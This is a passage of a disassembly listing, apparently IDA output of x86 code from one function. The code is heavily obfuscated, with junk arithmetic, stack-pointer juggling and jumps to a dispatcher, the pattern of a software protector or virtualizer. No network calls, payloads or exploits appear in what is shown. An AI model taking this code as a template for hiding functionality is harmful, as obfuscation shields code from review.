loc_5A0FEB:				; CODE XREF: sub_581EE9+23E43j
		add	edi, ecx
		pop	ecx
		jmp	loc_5A6ABD
; ---------------------------------------------------------------------------


loc_5A0FF3:				; CODE XREF: sub_581EE9+225B4j
		add	ebp, 59DC63C4h
		mov	eax, dword ptr [esp-6EAAh+arg_6EA2]
		add	esp, 4
		sub	ebp, 5D004E6Dh
		jmp	loc_59D188
; ---------------------------------------------------------------------------


loc_5A100A:				; CODE XREF: sub_581EE9+1A53Fj
		shr	eax, 10h
		jmp	loc_591FD4
; ---------------------------------------------------------------------------


loc_5A1012:				; CODE XREF: sub_581EE9+13F4Fj
		push	ebx
		jmp	loc_59CC96
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E70h+arg_6E68]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 562B573Eh
		dec	edi
		push	23D1h
		jmp	loc_5A5D31
; ---------------------------------------------------------------------------


loc_5A1030:				; CODE XREF: sub_581EE9+19CC7j
		sub	edi, edx
		pop	edx
		and	edi, 63382784h
		sub	edi, 39BB157Ah
		sub	esi, edi
		jmp	loc_59BB1D
; ---------------------------------------------------------------------------


loc_5A1046:				; CODE XREF: sub_581EE9+1C189j
		sub	esp, 4
		mov	[esp-6E94h+arg_6E8A+2],	edx
		push	cx
		mov	ch, 2Dh
		mov	dh, ch
		pop	cx
		add	dh, 1
		push	ecx
		mov	cl, 0C3h
		xor	cl, 0AFh
		xor	cl, 0DEh
		add	dh, cl
		jmp	loc_59C9B8
; ---------------------------------------------------------------------------


loc_5A1067:				; CODE XREF: sub_581EE9+161B2j
		mov	esp, [esp-6EA0h+arg_6E96+2]
		push	[esp-6EA0h+arg_6E96+2]
		jmp	loc_5933E5
; ---------------------------------------------------------------------------
		mov	esp, [esp-6E9Ch+arg_6E92+2]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A107A:				; CODE XREF: sub_581EE9+18A57j
		sub	ebp, 1BBE09F3h
		sub	esi, ebp
		jmp	loc_5A641E
; ---------------------------------------------------------------------------


loc_5A1087:				; CODE XREF: sub_581EE9+18C94j
		add	edx, 14075D14h
		sub	edx, 1B6CBFE9h
		jmp	loc_59CAEB
; ---------------------------------------------------------------------------


loc_5A1098:				; CODE XREF: sub_581EE9+15DE4j
		not	ebp
		not	ebp
		push	esi
		mov	esi, 16321DC5h
		add	ebp, esi
		mov	esi, dword ptr [esp-6EAAh+arg_6EA2]
		add	esp, 4
		jmp	loc_5948DE
; ---------------------------------------------------------------------------


loc_5A10B2:				; CODE XREF: sub_581EE9+14911j
		xor	ebx, esi
		jmp	loc_597742
; ---------------------------------------------------------------------------


loc_5A10B9:				; CODE XREF: sub_581EE9+1444Aj
		add	ebp, 10964F06h
		pop	esi
		push	51ADh
		mov	[esp-6EAEh+arg_6EA4+2],	ecx
		mov	ecx, 55512ABEh
		xor	ecx, 454B5673h
		neg	ecx
		add	ecx, 39536A3Dh
		add	ecx, 78184348h
		jmp	loc_5963D5
; ---------------------------------------------------------------------------


loc_5A10E6:				; CODE XREF: sub_581EE9+1C1F1j
		pop	esi
		mov	edx, [esp+0]
		add	esp, 4
		and	[edi+1Ch], esi
		push	[esp-6E94h+arg_6E8A+2]
		mov	esi, [esp+0]
		push	48Bh
		mov	[esp-6E8Ch+arg_6E84], ebx
		push	esp
		mov	ebx, [esp-6E88h+arg_6E80]
		add	esp, 4
		jmp	loc_59841A
; ---------------------------------------------------------------------------


loc_5A110D:				; CODE XREF: sub_581EE9+1C02Fj
		push	esi
		push	edx
		mov	edx, 17D22AA4h
		mov	esi, edx
		pop	edx
		shr	esi, 8
		xor	esi, 5A89DCA6h
		or	eax, esi
		pop	esi
		jmp	loc_597C06
; ---------------------------------------------------------------------------


loc_5A1128:				; CODE XREF: sub_581EE9+1FECFj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp-6E7Ah+arg_6E72]
		pop	esp
		add	al, 60h
		add	al, ch
		sub	al, 60h
		jmp	loc_593C23
; ---------------------------------------------------------------------------


loc_5A1142:				; CODE XREF: sub_581EE9+15490j
		mov	al, ch
		pop	ecx
		jmp	loc_5A4B51
; ---------------------------------------------------------------------------


loc_5A114A:				; CODE XREF: sub_581EE9+170D8j
		push	ebx
		mov	ebx, 485A30F8h
		add	eax, ebx
		pop	ebx
		xor	eax, 0A742CEF2h
		sub	esp, 4
		jmp	loc_59C37F
; ---------------------------------------------------------------------------


loc_5A1160:				; CODE XREF: sub_581EE9+1795Fj
		mov	[edi+eax*4], cl
		pop	ecx
		pop	edx
		jmp	loc_594297
; ---------------------------------------------------------------------------


loc_5A116A:				; CODE XREF: sub_581EE9+1E116j
		mov	ebx, 0CA91E87h
		jmp	loc_596F67
; ---------------------------------------------------------------------------


loc_5A1174:				; CODE XREF: sub_581EE9+1C170j
		xor	ch, bh
		jmp	loc_59BB47
; ---------------------------------------------------------------------------


loc_5A117B:				; CODE XREF: sub_581EE9+1166Cj
		neg	esi
		push	edi
		jmp	loc_593FAE
; ---------------------------------------------------------------------------


loc_5A1183:				; CODE XREF: sub_581EE9+13F31j
		sub	eax, 26D2834Dh
		jmp	loc_5A3BB6
; ---------------------------------------------------------------------------


loc_5A118D:				; CODE XREF: sub_581EE9+1FE6Bj
		mov	[esp+0], ebp
		mov	ebp, 2
		jmp	loc_5A6751
; ---------------------------------------------------------------------------


loc_5A119A:				; CODE XREF: sub_581EE9+1634Cj
		add	esi, 4
		jmp	loc_5A6E46
; ---------------------------------------------------------------------------


loc_5A11A5:				; CODE XREF: sub_581EE9+15FF5j
		mov	edx, 56637FFAh
		mov	ebx, edx
		jmp	loc_59E00D
; ---------------------------------------------------------------------------


loc_5A11B1:				; CODE XREF: sub_581EE9+1BD38j
		shr	edx, 4
		or	edx, 4A9C4A42h
		push	eax
		mov	eax, 59FD1CB4h
		jmp	loc_59D30E
; ---------------------------------------------------------------------------


loc_5A11C5:				; CODE XREF: sub_581EE9+12F33j
		push	edx
		push	[esp-6EA0h+arg_6E9A+2]
		pop	edx
		pop	[esp-6EA0h+arg_6E96+2]
		pop	esp
		add	esi, 4
		xor	esi, [esp-6EA8h+arg_6E9E+2]
		xor	[esp-6EA8h+arg_6E9E+2],	esi
		xor	esi, [esp-6EA8h+arg_6E9E+2]
		mov	esp, [esp-6EA8h+arg_6E9E+2]
		add	[esp-6EA8h+arg_6E9E+2],	eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A11EA:				; CODE XREF: sub_581EE9+15BE0j
		sub	di, 0FFFFh
		xor	di, 5E3Dh
		add	ax, 6A3Fh
		add	ax, di
		sub	ax, 6A3Fh
		jmp	loc_59531E
; ---------------------------------------------------------------------------


loc_5A1203:				; CODE XREF: sub_581EE9+1A3DDj
		add	esp, 4
		jmp	loc_5927D8
; ---------------------------------------------------------------------------


loc_5A120B:				; CODE XREF: sub_581EE9+131D0j
		pop	esp
		mov	[esp-6EA2h+arg_6E9A], ecx
		jmp	loc_5A6B26
; ---------------------------------------------------------------------------


loc_5A1214:				; CODE XREF: sub_581EE9+12784j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A1219:				; CODE XREF: sub_581EE9+1EA21j
		add	eax, edx
		jmp	loc_59DFC4
; ---------------------------------------------------------------------------


loc_5A1220:				; CODE XREF: sub_581EE9+12AD0j
		push	cx
		mov	cx, 694Bh
		xor	di, cx
		pop	cx
		push	6A21h
		jmp	loc_59B784
; ---------------------------------------------------------------------------


loc_5A1235:				; CODE XREF: sub_581EE9+1D064j
		mov	ebp, 4
		push	ebp
		jmp	loc_592A52
; ---------------------------------------------------------------------------


loc_5A1240:				; CODE XREF: sub_581EE9+2316Ej
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A1245:				; CODE XREF: sub_581EE9+11D64j
		add	ebx, edx
		sub	ebx, 7816DF4h
		jmp	loc_59619E
; ---------------------------------------------------------------------------


loc_5A1252:				; CODE XREF: sub_581EE9+1D076j
		push	ebp
		push	1D4Ah
		mov	[esp-6E76h+arg_6E6E], esp
		add	[esp-6E76h+arg_6E6E], 4
		pop	ebp
		add	ebp, 4
		push	ebx
		push	301Fh
		mov	[esp-6E72h+arg_6E68+2],	ecx
		mov	ecx, 487A16E5h
		mov	ebx, 487A16E9h
		sub	ebx, ecx
		pop	ecx
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp-6E7Ah+arg_6E72]
		mov	esp, [esp-6E7Ah+arg_6E72]
		mov	[esp-6E7Ah+arg_6E72], edx
		push	31FAh
		mov	[esp-6E76h+arg_6E6E], esp
		push	ecx
		mov	ecx, esp
		jmp	loc_5A06ED
; ---------------------------------------------------------------------------


loc_5A1298:				; CODE XREF: sub_581EE9+18AC1j
		add	ebp, eax
		mov	eax, [esp-6E94h+arg_6E8A+2]
		add	esp, 4
		sub	[esp-6E98h+arg_6E92+2],	7370255Dh
		sub	[esp-6E98h+arg_6E92+2],	7955653Ah
		add	[esp-6E98h+arg_6E92+2],	ebp
		add	[esp-6E98h+arg_6E92+2],	7955653Ah
		add	[esp-6E98h+arg_6E92+2],	7370255Dh
		jmp	loc_59C72B
; ---------------------------------------------------------------------------


loc_5A12CC:				; CODE XREF: sub_581EE9+153F8j
		pop	ebp
		sub	edx, 358BA776h
		mov	ecx, 0DB48DA3Ch
		add	ecx, edx
		pop	edx
		or	ecx, 1A8A5B8Eh
		xor	ecx, 62DE227Dh
		jmp	loc_5A13BF
; ---------------------------------------------------------------------------


loc_5A12EC:				; CODE XREF: sub_581EE9+1D695j
		push	eax
		mov	eax, 75EE7DA4h
		neg	eax
		neg	eax
		shr	eax, 6
		neg	eax
		or	eax, 351C77BCh
		push	ebx
		jmp	loc_5A5F39
; ---------------------------------------------------------------------------


loc_5A1306:				; CODE XREF: sub_581EE9+24530j
		sub	eax, ebp
		mov	ebp, [esp-6EB0h+arg_6EA8]
		add	esp, 4
		jmp	loc_59F992
; ---------------------------------------------------------------------------


loc_5A1316:				; CODE XREF: sub_581EE9+20326j
		and	edi, edx
		pop	edx
		sub	edi, 1F4B70BBh
		shl	edi, 2
		sub	edi, 65F5682Bh
		add	edi, 6B780938h
		mov	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 5B635515h
		shl	ebp, 4
		xor	ebp, 438C0623h
		and	ebp, 95865F5h
		xor	ebp, 31D6128Eh
		jmp	loc_59EA0B
; ---------------------------------------------------------------------------


loc_5A1351:				; CODE XREF: sub_581EE9+1EACAj
		add	al, 0BBh
		mov	ch, al
		pop	eax
		sub	al, ch
		mov	ecx, [esp-6EC0h+arg_6EB6+2]
		push	ecx
		mov	ecx, esp
		push	2DC7h
		mov	[esp+0], edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_59DC93
; ---------------------------------------------------------------------------


loc_5A137B:				; CODE XREF: sub_581EE9+1FC22j
		sub	ecx, ebx
		add	ecx, 5CB83432h
		pop	ebx
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 0F512846h
		xor	ecx, edx
		jmp	loc_5A5CC3
; ---------------------------------------------------------------------------


loc_5A1396:				; CODE XREF: sub_581EE9+1970Cj
		push	0CA833B7h
		pop	eax
		jmp	loc_59BBB5
; ---------------------------------------------------------------------------


loc_5A13A1:				; CODE XREF: sub_581EE9+19B24j
		shl	dh, 5
		push	cx
		mov	cl, 0F5h
		add	dh, 0D0h
		add	dh, cl
		sub	dh, 0D0h
		pop	cx
		sub	al, 8Ch
		sub	al, 0Dh
		sub	al, 3Fh
		add	al, dh
		jmp	loc_593935
; ---------------------------------------------------------------------------


loc_5A13BF:				; CODE XREF: sub_581EE9+1F3FEj
		mov	edx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 5C7059AEh
		sub	edx, ecx
		pop	ecx
		jmp	loc_597F1F
; ---------------------------------------------------------------------------


loc_5A13D0:				; CODE XREF: sub_581EE9+1C7D2j
		add	esp, 4
		add	edx, eax
		push	ebp
		mov	ebp, 514C4E1Ah
		add	edx, 62DD7859h
		jmp	loc_59230D
; ---------------------------------------------------------------------------


loc_5A13E9:				; CODE XREF: sub_581EE9+1DD94j
		mov	bl, dh
		mov	ah, bl
		pop	ebx
		pop	edx
		push	ebx
		mov	bh, ah
		push	eax
		jmp	loc_5950C9
; ---------------------------------------------------------------------------


loc_5A13F8:				; CODE XREF: sub_581EE9+1F7F5j
		pop	ebp
		dec	edi
		add	edi, 612F6DB8h
		sub	edi, 0C6B6265Fh
		add	esi, edi
		jmp	loc_59A0D1
; ---------------------------------------------------------------------------


loc_5A140D:				; CODE XREF: sub_581EE9+11E81j
		pop	ebx
		sub	esp, 4
		mov	[esp-6E8Eh+arg_6E84+2],	edx
		push	2CB6h
		mov	[esp-6E8Ah+arg_6E80+2],	esp
		jmp	loc_592C8D
; ---------------------------------------------------------------------------


loc_5A1421:				; CODE XREF: sub_581EE9+12E92j
		xor	eax, ebp
		push	dword ptr [esp+0]
		mov	ebp, [esp-6EB4h+arg_6EAC]
		jmp	loc_593F5E
; ---------------------------------------------------------------------------


loc_5A142E:				; CODE XREF: sub_581EE9+156B4j
		sub	[esp-6E88h+arg_6E80], esi
		pop	esi
		push	esi
		dec	[esp-6E88h+arg_6E80]
		jmp	loc_599938
; ---------------------------------------------------------------------------


loc_5A143B:				; CODE XREF: sub_581EE9+13FD5j
		pop	edx
		sub	edx, 0ABE57CBh
		pop	edi
		sub	edx, ebx
		jmp	loc_59A785
; ---------------------------------------------------------------------------


loc_5A144A:				; CODE XREF: sub_581EE9+1A99Fj
		add	eax, 65F55616h
		add	eax, 37935C31h
		mov	edi, [esp-6E9Eh+arg_6E96]
		add	esp, 4
		xor	eax, [esp-6EA2h+arg_6E9A]
		xor	[esp-6EA2h+arg_6E9A], eax
		xor	eax, [esp-6EA2h+arg_6E9A]
		mov	esp, [esp-6EA2h+arg_6E9A]
		jmp	loc_5A6EAB
; ---------------------------------------------------------------------------


loc_5A146B:				; CODE XREF: sub_581EE9+1B56Dj
		pop	ebx
		add	eax, 2
		jmp	loc_5A4DBC
; ---------------------------------------------------------------------------


loc_5A1474:				; CODE XREF: sub_581EE9+1CEF6j
		add	eax, ebp
		pop	ebp
		mov	esi, eax
		pop	eax
		jmp	loc_59672B
; ---------------------------------------------------------------------------


loc_5A147F:				; CODE XREF: sub_581EE9+1E77Aj
		mov	bl, 37h
		add	al, bl
		pop	ebx
		xor	al, 0D2h
		add	dh, 4Dh
		push	ax
		jmp	loc_59646F
; ---------------------------------------------------------------------------


loc_5A1490:				; CODE XREF: sub_581EE9+15F2Bj
		add	[esp-6E6Eh+arg_6E64+2],	4
		pop	eax
		push	4ABAh
		mov	[esp-6E6Eh+arg_6E64+2],	esi
		mov	esi, 4B053264h
		jmp	loc_59DBC2
; ---------------------------------------------------------------------------


loc_5A14AA:				; CODE XREF: sub_581EE9+10691j
		xor	edx, [esp-6EB4h+arg_6EAC]
		xor	[esp-6EB4h+arg_6EAC], edx
		jmp	loc_59F851
; ---------------------------------------------------------------------------


loc_5A14B5:				; CODE XREF: sub_581EE9+1B546j
		push	ecx
		mov	ch, dl
		mov	bh, ch
		pop	ecx
		push	[esp-6E72h+arg_6E68+2]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6E6Eh+arg_6E64+2]
		pop	esp
		jmp	loc_59E9EB
; ---------------------------------------------------------------------------


loc_5A14D4:				; CODE XREF: sub_581EE9+215D5j
		xor	ebx, [esp-6E72h+arg_6E68+2]
		pop	esp
		mov	[esp-6E76h+arg_6E6E], edx
		mov	edx, 2D1C48F5h
		shr	edx, 1
		jmp	loc_599C37
; ---------------------------------------------------------------------------


loc_5A14E7:				; CODE XREF: sub_581EE9+22830j
		push	edi
		jmp	loc_5A0E8F
; ---------------------------------------------------------------------------


loc_5A14ED:				; CODE XREF: sub_581EE9+216EDj
		add	edi, ecx
		pop	ecx
		jmp	loc_5970BB
; ---------------------------------------------------------------------------


loc_5A14F5:				; CODE XREF: sub_581EE9+1AAF1j
		mov	eax, 492D23F1h
		add	eax, 1
		inc	eax
		jmp	loc_59B5A6
; ---------------------------------------------------------------------------


loc_5A1505:				; CODE XREF: sub_581EE9+207CEj
		mov	eax, [esp-6E72h+arg_6E68+2]
		add	esp, 4


loc_5A150E:				; CODE XREF: sub_581EE9+169F0j
		sub	esp, 4
		mov	[esp-6E72h+arg_6E68+2],	ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 74CA4421h
		jmp	loc_59EB96
; ---------------------------------------------------------------------------


loc_5A1521:				; CODE XREF: sub_581EE9+20CF7j
		sub	esp, 4
		jmp	loc_5998A8
; ---------------------------------------------------------------------------


loc_5A152C:				; CODE XREF: sub_581EE9+21686j
		push	4C9h
		mov	[esp-6E66h+arg_6E5C+2],	esp
		add	[esp-6E66h+arg_6E5C+2],	4
		jmp	loc_5A1814
; ---------------------------------------------------------------------------


loc_5A153D:				; CODE XREF: sub_581EE9+1CF97j
		xor	edx, edi
		mov	edi, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		mov	edi, edx
		pop	edx
		jmp	loc_5981FD
; ---------------------------------------------------------------------------


loc_5A154D:				; CODE XREF: sub_581EE9+1482Cj
		add	eax, 3CC14495h
		pop	edx
		add	eax, ecx
		add	eax, 1E9C3188h
		mov	ecx, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		jmp	loc_59ABD3
; ---------------------------------------------------------------------------


loc_5A1565:				; CODE XREF: sub_581EE9+18FD9j
		mov	ecx, 4
		sub	ebx, ecx
		mov	ecx, [esp-6E8Ah+arg_6E80+2]
		add	esp, 4
		push	ebx
		push	[esp-6E8Ah+arg_6E84+2]
		pop	ebx
		pop	[esp-6E8Ah+arg_6E80+2]
		mov	esp, [esp-6E8Eh+arg_6E84+2]
		mov	[esp-6E8Eh+arg_6E84+2],	edx
		pop	dword ptr [edi+20h]
		jmp	loc_593E87
; ---------------------------------------------------------------------------


loc_5A158C:				; CODE XREF: sub_581EE9+23954j
		mov	edx, [esp-6E92h+arg_6E8A]
		jmp	loc_5A0B02
; ---------------------------------------------------------------------------


loc_5A1594:				; CODE XREF: sub_581EE9+20088j
		sub	bl, al
		push	small 6018h
		mov	[esp+0], ax
		jmp	loc_592C05
; ---------------------------------------------------------------------------


loc_5A15A3:				; CODE XREF: sub_581EE9+12A8Fj
		mov	ecx, edx
		pop	edx
		add	ecx, edi
		jmp	loc_5A505C
; ---------------------------------------------------------------------------


loc_5A15AD:				; CODE XREF: sub_581EE9+1246Dj
		mov	dh, 0BCh
		push	eax
		mov	al, 0F9h
		mov	ch, al
		pop	eax
		sub	ch, dh
		pop	edx
		or	dh, ch
		mov	ecx, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		jmp	loc_596FE0
; ---------------------------------------------------------------------------


loc_5A15C5:				; CODE XREF: sub_581EE9+156C0j
		pop	ebx
		push	edx
		pop	ecx
		push	[esp-6E8Ch+arg_6E84]
		jmp	loc_595C25
; ---------------------------------------------------------------------------


loc_5A15D0:				; CODE XREF: sub_581EE9+20E57j
		push	0F6Eh
		jmp	loc_59B280
; ---------------------------------------------------------------------------


loc_5A15DA:				; CODE XREF: sub_581EE9+14597j
		push	edx
		jmp	loc_59F9FA
; ---------------------------------------------------------------------------


loc_5A15E0:				; CODE XREF: sub_581EE9+167DFj
		add	edi, esi
		sub	edi, 72A57CEBh
		jmp	loc_595356
; ---------------------------------------------------------------------------


loc_5A15ED:				; CODE XREF: sub_581EE9+1EE3Aj
		sub	esp, 4
		mov	[esp-6E46h+arg_6E3E], ebx
		mov	ebx, esp
		jmp	loc_5A0351
; ---------------------------------------------------------------------------


loc_5A15FA:				; CODE XREF: sub_581EE9+1D8C2j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	39E6h
		mov	[esp+0], eax
		push	edi
		jmp	loc_59956B
; ---------------------------------------------------------------------------


loc_5A1617:				; CODE XREF: sub_581EE9+21113j
		or	al, dh
		pop	edx
		dec	al
		not	al
		push	small 0
		sub	byte ptr [esp-6E8Eh+arg_6E84+2], al
		mov	al, byte ptr [esp-6E8Eh+arg_6E84+2]
		jmp	loc_5A2379
; ---------------------------------------------------------------------------


loc_5A162D:				; CODE XREF: sub_581EE9+2175Aj
		push	edx
		push	eax
		mov	eax, 7DA05CDEh
		mov	edx, 2FE193C3h
		add	edx, eax
		jmp	loc_5A0187
; ---------------------------------------------------------------------------


loc_5A1640:				; CODE XREF: sub_581EE9+1E93Fj
		pop	ecx
		jmp	loc_594277
; ---------------------------------------------------------------------------


loc_5A1646:				; CODE XREF: sub_581EE9+1DFBBj
		xchg	edx, [esp-6E94h+arg_6E8A+2]
		pop	esp
		jmp	loc_599488
; ---------------------------------------------------------------------------


loc_5A164F:				; CODE XREF: sub_581EE9+1487Ej
		pop	esi
		sub	ebx, esi
		mov	esi, [esp-6EB6h+arg_6EAC+2]
		add	esp, 4
		push	esi
		push	42A72A5h
		jmp	loc_593D58
; ---------------------------------------------------------------------------


loc_5A1666:				; CODE XREF: sub_581EE9+13E46j
		mov	ebx, 3D19BB1Ch
		xor	edx, ebx
		pop	ebx
		xor	edx, ebp
		mov	ebp, [esp-6E84h+arg_6E7C]
		add	esp, 4
		push	eax
		mov	eax, edx
		jmp	loc_5A0FE3
; ---------------------------------------------------------------------------


loc_5A1681:				; CODE XREF: sub_581EE9+2048Bj
		add	ecx, 4624386h
		add	ecx, esi
		jmp	loc_598DD1
; ---------------------------------------------------------------------------


loc_5A168E:				; CODE XREF: sub_581EE9+18621j
		push	[esp-6E66h+arg_6E60+2]
		pop	ecx
		pop	[esp-6E66h+arg_6E5C+2]
		pop	esp
		push	ebx
		jmp	loc_59E23C
; ---------------------------------------------------------------------------


loc_5A169D:				; CODE XREF: sub_581EE9+18B05j
		mov	eax, esi
		jmp	loc_594F07
; ---------------------------------------------------------------------------


loc_5A16A4:				; CODE XREF: sub_581EE9+1C544j
		push	edi
		mov	edi, ebp
		jmp	loc_5994F4
; ---------------------------------------------------------------------------


loc_5A16AC:				; CODE XREF: sub_581EE9+1619Aj
		pop	ebp
		jmp	loc_59BA22
; ---------------------------------------------------------------------------


loc_5A16B2:				; CODE XREF: sub_581EE9+1298Cj
		pop	edx
		add	ebp, ecx
		jmp	loc_5991CA
; ---------------------------------------------------------------------------


loc_5A16BA:				; CODE XREF: sub_581EE9+1CBE1j
		push	344E0319h
		pop	edx
		push	edx
		not	[esp-6E96h+arg_6E8E]
		pop	edx
		sub	edx, 5E07FC9h
		inc	edx
		xor	edx, 0D8E54123h
		jmp	loc_5A57C0
; ---------------------------------------------------------------------------


loc_5A16D7:				; CODE XREF: sub_581EE9+13917j
		mov	ebp, 0F8B6ACCh
		add	edi, ebp
		jmp	loc_5A13F8
; ---------------------------------------------------------------------------


loc_5A16E3:				; CODE XREF: sub_581EE9+19183j
		add	ecx, edi
		pop	edi
		add	ecx, ebx
		sub	ecx, 733908AFh
		pop	ebx
		sub	ecx, edx
		sub	ecx, 39D51860h
		mov	edx, [esp-6EB2h+arg_6EA8+2]
		add	esp, 4
		push	ecx
		push	[esp-6EB2h+arg_6EAC+2]
		mov	ecx, [esp-6EAEh+arg_6EA4+2]
		sub	esp, 4
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ebp
		mov	ebp, esp
		jmp	loc_59280A
; ---------------------------------------------------------------------------


loc_5A1715:				; CODE XREF: sub_581EE9+20912j
		push	edx
		jmp	loc_59EE0F
; ---------------------------------------------------------------------------


loc_5A171B:				; CODE XREF: sub_581EE9+208A0j
		sub	ebx, ebp
		jmp	loc_5922D1
; ---------------------------------------------------------------------------


loc_5A1722:				; CODE XREF: sub_581EE9+1E54Cj
		xchg	edx, [esp-6E92h+arg_6E8A]
		pop	esp
		mov	[esp-6E96h+arg_6E8E], edx
		mov	edx, ecx
		push	7904h
		mov	[esp-6E92h+arg_6E8A], edx
		sub	[esp-6E92h+arg_6E8A], 70F411FAh
		jmp	loc_595820
; ---------------------------------------------------------------------------


loc_5A173F:				; CODE XREF: sub_581EE9+18E3Dj
		mov	dh, 91h
		jmp	loc_59BA05
; ---------------------------------------------------------------------------


loc_5A1746:				; CODE XREF: sub_581EE9+17EECj
		sub	word ptr [esp-6EA4h+arg_6E9A+2], ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A1750:				; CODE XREF: sub_581EE9+1FBBBj
		mov	edi, [esp-6EA0h+arg_6E96+2]
		jmp	loc_597281
; ---------------------------------------------------------------------------


loc_5A1758:				; CODE XREF: sub_581EE9+192B6j
		sub	[esp-6E66h+arg_6E64+2],	esi
		add	[esp-6E66h+arg_6E64+2],	78B13F6Ch
		jmp	loc_59FB6A
; ---------------------------------------------------------------------------


loc_5A1769:				; CODE XREF: sub_581EE9+1FB64j
		push	eax
		mov	eax, 5C7876E4h
		sub	edi, eax
		pop	eax
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_5943EC
; ---------------------------------------------------------------------------


loc_5A177D:				; CODE XREF: sub_581EE9+1E88Aj
		pop	ebp
		pop	edx
		add	eax, ebx
		jmp	loc_5A69BD
; ---------------------------------------------------------------------------


loc_5A1786:				; CODE XREF: sub_581EE9+10D1Fj
		mov	al, ch
		pop	ecx
		jmp	loc_59D0B1
; ---------------------------------------------------------------------------


loc_5A178E:				; CODE XREF: sub_581EE9+1122Cj
		add	ecx, edi
		jmp	loc_59C3DC
; ---------------------------------------------------------------------------


loc_5A1795:				; CODE XREF: sub_581EE9+1E833j
		not	ebp
		xchg	ebp, [esp-6E92h+arg_6E8A]
		pop	ebx
		xchg	ebx, [esp-6E96h+arg_6E8E]
		mov	eax, [esp-6E96h+arg_6E8E]
		push	edi
		sub	esp, 4
		mov	[esp-6E8Eh+arg_6E84+2],	esp
		add	[esp-6E8Eh+arg_6E84+2],	4
		jmp	loc_596313
; ---------------------------------------------------------------------------


loc_5A17B1:				; CODE XREF: sub_581EE9+1CD57j
		mov	ebx, esp
		push	ebp
		jmp	loc_5A1B71
; ---------------------------------------------------------------------------


loc_5A17B9:				; CODE XREF: sub_581EE9+14563j
		mov	ebx, [esp-6E9Ah+arg_6E92]
		jmp	loc_594271
; ---------------------------------------------------------------------------
		neg	byte ptr [esp-6E9Ah+arg_6E92]
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A17CA:				; CODE XREF: sub_581EE9+22885j
		pop	esp
		sub	eax, 2BDE44D7h
		sub	eax, 19D4602Dh
		add	eax, edx
		add	eax, 19D4602Dh
		jmp	loc_597C12
; ---------------------------------------------------------------------------


loc_5A17E1:				; CODE XREF: sub_581EE9+1670Aj
		add	ecx, ebp
		pop	ebp
		push	2945h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ebp
		mov	ebp, 6C697CE6h
		jmp	loc_59416E
; ---------------------------------------------------------------------------


loc_5A17F6:				; CODE XREF: sub_581EE9+1211Cj
		sub	eax, 4
		jmp	loc_59454D
; ---------------------------------------------------------------------------


loc_5A17FE:				; CODE XREF: sub_581EE9+226F1j
		pop	ebx
		jmp	loc_597CF7
; ---------------------------------------------------------------------------


loc_5A1804:				; CODE XREF: sub_581EE9+237FCj
		push	4550193Eh
		mov	ecx, [esp-6EBCh+arg_6EB2+2]
		add	esp, 4
		jmp	loc_59E5CC
; ---------------------------------------------------------------------------


loc_5A1814:				; CODE XREF: sub_581EE9+1F64Fj
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		jmp	loc_59745B
; ---------------------------------------------------------------------------


loc_5A1824:				; CODE XREF: sub_581EE9+12721j
		pop	ecx
		jmp	loc_592B0E
; ---------------------------------------------------------------------------


loc_5A182A:				; CODE XREF: sub_581EE9+22AC1j
		add	eax, edx
		add	eax, 22070804h
		push	28BFh
		mov	[esp-6E88h+arg_6E80], edx
		mov	edx, 34E6737Bh
		sub	eax, 193E4DD3h
		add	eax, edx
		add	eax, 193E4DD3h
		jmp	loc_5934FB
; ---------------------------------------------------------------------------


loc_5A184F:				; CODE XREF: sub_581EE9+1DF79j
		add	esi, 0F57B7FE4h
		add	eax, esi
		mov	esi, [esp-6E8Eh+arg_6E84+2]
		push	22D8h
		mov	[esp-6E8Ah+arg_6E80+2],	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_596610
; ---------------------------------------------------------------------------


loc_5A186C:				; CODE XREF: sub_581EE9+13FDFj
		pop	[esp-6E58h+arg_6E50]
		mov	esp, [esp-6E5Ch+arg_6E54]
		jmp	loc_594672
; ---------------------------------------------------------------------------


loc_5A1877:				; CODE XREF: sub_581EE9+18DA6j
		add	al, ch
		mov	ecx, [esp-6E96h+arg_6E8E]
		add	esp, 4
		pop	ecx
		sub	esp, 4
		jmp	loc_592002
; ---------------------------------------------------------------------------


loc_5A1888:				; CODE XREF: sub_581EE9+12DB1j
		pop	esp
		mov	ebx, 2F706EC0h
		xor	ebx, esi
		pop	esi
		jmp	loc_598BFF
; ---------------------------------------------------------------------------


loc_5A1896:				; CODE XREF: sub_581EE9+2390Aj
		push	ecx
		mov	ecx, 6AC13094h
		mov	eax, ecx
		jmp	loc_592971
; ---------------------------------------------------------------------------


loc_5A18A3:				; CODE XREF: sub_581EE9+1CBCDj
		sub	ecx, 4
		xchg	ecx, [esp-6EA0h+arg_6E96+2]
		pop	esp
		mov	[esp-6EA4h+arg_6E9A+2],	eax
		push	[esp-6EA4h+arg_6E9E+2]
		mov	eax, [esp-6EA0h+arg_6E96+2]
		jmp	loc_594113
; ---------------------------------------------------------------------------


loc_5A18BC:				; CODE XREF: sub_581EE9+150A5j
		inc	ebx
		xor	ebx, 24135EFh
